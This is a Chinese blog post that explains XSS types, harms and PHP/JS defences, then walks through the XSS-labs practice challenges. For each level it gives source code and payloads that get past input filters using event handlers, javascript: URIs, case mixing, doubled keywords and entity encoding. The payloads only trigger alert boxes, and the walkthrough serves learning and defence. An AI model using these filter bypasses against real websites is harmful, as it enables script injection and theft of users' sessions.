IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> XSS学习 -> 正文阅读

[PHP知识库]XSS学习

XSS基础

三种类型:存储型、反射型、dom型
反射型:经过后端,不经过数据库
存储型:经过后端,经过数据库
DOM型:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom – xss是通过url传入参数去控制触发的。
dom型
在这里插入图片描述
XSS危害
XSS可以造成的危害有很多,常见的有以下:

  • 网络钓鱼,包括获取各类用户账号
  • 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
  • 劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等
  • 强制弹出广告页面、刷流量等
  • 网页挂马
  • 进行大量的客户端攻击,如DDoS等
  • 获取客户端信息,如用户的浏览历史、真实ip、开放端口等
  • 控制受害者机器向其他网站发起攻击
  • 结合其他漏洞,如CSRF,实施进一步危害
  • 传播跨站脚本蠕虫

XSS修复

A.PHP直接输出html的,可以采用以下的方法进行过滤:

    1.htmlspecialchars函数
    2.htmlentities函数
    3.HTMLPurifier.auto.php插件
    4.RemoveXss函数

B.PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤:

    1.尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容
    2.必须要用innerHTML等等函数,则需要做类似php的htmlspecialchars的过滤

C.其它的通用的补充性防御手段

    1.在输出html时,加上Content Security Policy的Http Header
    (作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等)
    (缺陷:IE或低版本的浏览器可能不支持)
    2.在设置Cookie时,加上HttpOnly参数
    (作用:可以防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6)
    (缺陷:网站本身的JS代码也无法操作Cookie,而且作用有限,只能保证Cookie的安全)
    3.在开发API时,检验请求的Referer参数
    (作用:可以在一定程度上防止CSRF攻击)
    (缺陷:IE或低版本的浏览器中,Referer参数可以被伪造)

示例代码htmlentities.php

<?php 
$XssReflex = $_GET['input'];
echo 'output:<br>'.htmlspecialchars($XssReflex);
?> 

XSS通关小游戏

level1

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

leval1没有任何过滤

<svg/onload=alert`1`>
<svg/onclick=alert`1`>
其他事件onload,onclick,onerror,prompt,confirm等。

level2

源码

在这里插入图片描述

使用了htmlspecialchars函数对输入进行了处理,但是有两个输入点,下面那个并没有做处理

# htmlspecialchars作用
        &:转换为&amp;
        ":转换为&quot;
        ':转换为成为 '
        <:转换为&lt;
        >:转换为&gt;

payload

" onclick=alert(1)>	#需要点一下输入框-点击事件
" onmouseover=alert(1)> #鼠标滑过输入框-鼠标事件
"><script>alert(/xss/)</script>

level3

在这里插入图片描述两个输出点都使用htmlspecialchars进行处理,但是

  • htmlspecialchars默认配置是不过滤单引号
  • value是以单引号结束

所以使用单引号闭合(不使用<>)即可,payload

' οnclick='window.alert()
' onclick=alert(1)%0A
' onclick=alert(1)//

这里可以%0a换行,也可以使用//注释后面的
在这里插入图片描述

level4

在这里插入图片描述
第二个位置没有使用函数处理,第三关payload改一下就行

" οnclick="alert`4`
" onclick=alert(1)%0A
" onclick=alert(1)//

level5(过滤on)

在这里插入图片描述
存在过滤,不能使用含有on的事件,payload

"><a href=javascript:alert()>link</a>	# Javascript URL
"><a href=vbscript:MsgBox(1)>link</a>	# VBScript
"><iframe src=javascript:alert(1)></iframe>
# 如果过滤了javascript还可以用"%2b"绕过
"><a href=javas"%2b"cript:alert()>link</a>

level6(大小写绕过)

在这里插入图片描述
过滤了更多,大小写绕过即可,payload

"><a Href=javascript:alert(1)>link</a>
"><iMg SrC=1 oNeRrOr=prompt(1)>	
" OnMoUsEoVeR=prompt(1)//

level7(双写绕过)

在这里插入图片描述
payload

" oonnclick="alert`4`

level8(伪协议编码绕过)

在这里插入图片描述
伪协议后面可以使用html的实体编码,javascript:这个伪协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。

关于伪协议可以参考XSS_伪协议与编码绕过

在这里插入图片描述

在线转换:https://www.qqxiuzi.cn/bianma/zifushiti.php
payload

javascrip&#x74;:alert(1)
javasc&#x72;ipt:alert(1)
javasc&#x0072;ipt:alert(1)

level9

在这里插入图片描述
必须含有http://,使用注释符///**/绕过

javascrip&#x74;:alert(1)//http://
javasc&#x72;ipt:alert(1)/*http://*/

level10

在这里插入图片描述
构造type="text闭合最后的" type="hidden">,payload:

t_sort=" οnclick="alert()" type="text

level11

在这里插入图片描述
和上一题一样,只不过在referer里

在这里插入图片描述

level12

在这里插入图片描述

level13

在这里插入图片描述

level 14(Exif xss)

这个漏洞的原因就是使用了chrome的exif信息读取插件,读取了然后插入页面,使用exiftool工具改信息即可。

在这里插入图片描述

level15

level16(过滤空格、script、/)

空格使用%0d绕过
payload

level16.php?keyword=<img%0Asrc=x%0Aonerror=alert("'test'")>

level17、18

标签定义嵌入的内容,使用on事件即可
payload

arg01=a&arg02=b onmouseover=alert(1)

level19、20

不会

大佬博客

https://blog.csdn.net/spang_33/article/details/80930046

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-29 10:00:59  更:2021-09-29 10:01:31 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 3:32:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计